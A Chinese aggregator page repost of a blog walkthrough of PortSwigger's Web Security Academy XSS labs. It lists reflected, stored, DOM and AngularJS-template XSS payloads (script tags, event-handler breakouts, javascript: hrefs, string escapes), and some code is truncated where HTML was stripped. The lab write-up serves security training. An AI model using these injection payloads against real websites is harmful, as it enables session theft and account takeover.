最新要闻

广告

手机

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

家电

环球焦点!portswigger 靶场之 XSS 篇(上)

来源:博客园

APPRENTICE

All labs | Web Security Academy (portswigger.net)

1. 将 XSS 反射到 HTML 上下文中,没有编码

XSS payload,自是无需多言


(资料图片)

<script>alert(1)</script>

2. 将 XSS 存储到 HTML 上下文中,没有任何编码

存储型的 XSS 在留言区

3. 文档中的 DOM XSS.使用 source location.search 编写接收器

在搜索查询功能中有基于 DOM 的跨站点脚本漏洞

在搜索框输入"第三个",可以发现,输入的词被放到了 JavaScript 代码中的 img 标签的 src 属性中,插入 XSS 代码的话需要先闭合,使用">`,分别闭合 img 标签和 src 属性

// 在页面输入"第三个"<script>alert(3)</script><script>alert(3)</script>"> // 插入 XSS 代码第二种方法// 语法:onload,事件在页面载入完成后立即触发,onload="JavaScriptCode"1" onload="alert(3) 
// 源代码function trackSearch(query) {    document.write("");}
搜索框输入“第三个”,F12 查看情况
插入 XSS 代码第一种方法
插入 XSS 代码第二种方法

4. 使用 source location.search in innerHTML sink 中的 DOM XSS。

// 在页面输入"第四个"第四个// 插入 XSS 代码第一种方法// 语法:onload,当页面载入完毕后执行 Javascript 代码,该事件不可取消// 插入 XSS 代码第二种方法// 语法:onerror,当资源加载失败或无法使用时,触发onerror事件,因为前面的 src 为空,那意味着肯定会触发事件
搜索框输入“第四个”,F12 查看情况
插入 XSS 代码第一种方法
插入 XSS 代码第二种方法

5. 使用 location.search source 在 jQuery 锚点 href 属性接收器中的 DOM XSS

Href 不仅可以跳转路径,也可以放入 JS 代码

https://0a0000b103823255c2ce2cd0003e00a5.web-security-academy.net/feedback?returnPath=javascript:alert(document.cookie)
在 a 标签中
在 a 标签中注入 XSS 代码

6. 在 jQuery 选择器中使用 hashchange 事件的 DOM 型 XSS

HTML 内联框架元素 (

// 源代码$(window).on("hashchange", function(){var post = $("section.blog-list h2:contains(" + decodeURIComponent(window.location.hash.slice(1)) + ")");if (post) post.get(0).scrollIntoView();});
直接在网址注入
服务器中修改 body

7. 带尖括号编码的反射型 XSS

尖括号被编码,但是引号没有,在搜索框输入内容后,发现输入的内容展示在了 input 标签的 value 属性中。

onmouseover 属性在鼠标指针移至元素之上时触发,几乎可使用于所有 HTML 元素,也就不限于搜索框input

内容在 input 标签的 value 属性中
输入 "onmouseover="alert(7)

8. 将 XSS 存储到带有双引号 HTML 编码的锚点 href 属性中

评论中输入的内容会成为 a 标签 herf 属性的值

输入 123 查看出于什么位置
javascript:alert(8)

9. 将 XSS 反射到带有尖括号 HTML 编码的 JavaScript 字符串中

输入ABC发现是出现在了 script 标签中,尝试闭合弹出

var searchTerms = "ABC";document.write("");

构造 Payload";alert(9);//

输入 123 查看出于什么位置
";alert(9);//

PRACTITIONER

10. 文档中的 DOM XSS.使用源位置编写接收器.在选择元素内搜索

注入&storeId=<script>alert()</script>

var stores = ["London","Paris","Milan"];var store = (new URLSearchParams(window.location.search)).get("storeId");document.write("");
输入 ABC 查看出于什么位置

11. AngularJS 表达式中的 DOM XSS,带有尖括号和双引号HTML 编码

Angular 是一个前端框架,{{ ... }}里头其实就是一个模板表达式,Angular 会对其进行求值并转化为字符串输出。可以放入 JavaScript 脚本

[PayloadsAllTheThings-Github](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS Injection/XSS in Angular.md)

注入:{{constructor.constructor("alert(1)")()}}

Constructor 是一个构造函数

12. 反射式 DOM XSS

13. 存储型 XSS

replace(),如果第一个参数是字符串,则仅替换第一个匹配项

function escapeHTML(html) {    return html.replace("<", "<").replace(">", ">");}// 源代码中,通过 replace() 函数,替换第一个匹配项,也就是<>// <代表小于号(<);  >代表大于号(>)  

关键词: 就是一个 鼠标指针 无法使用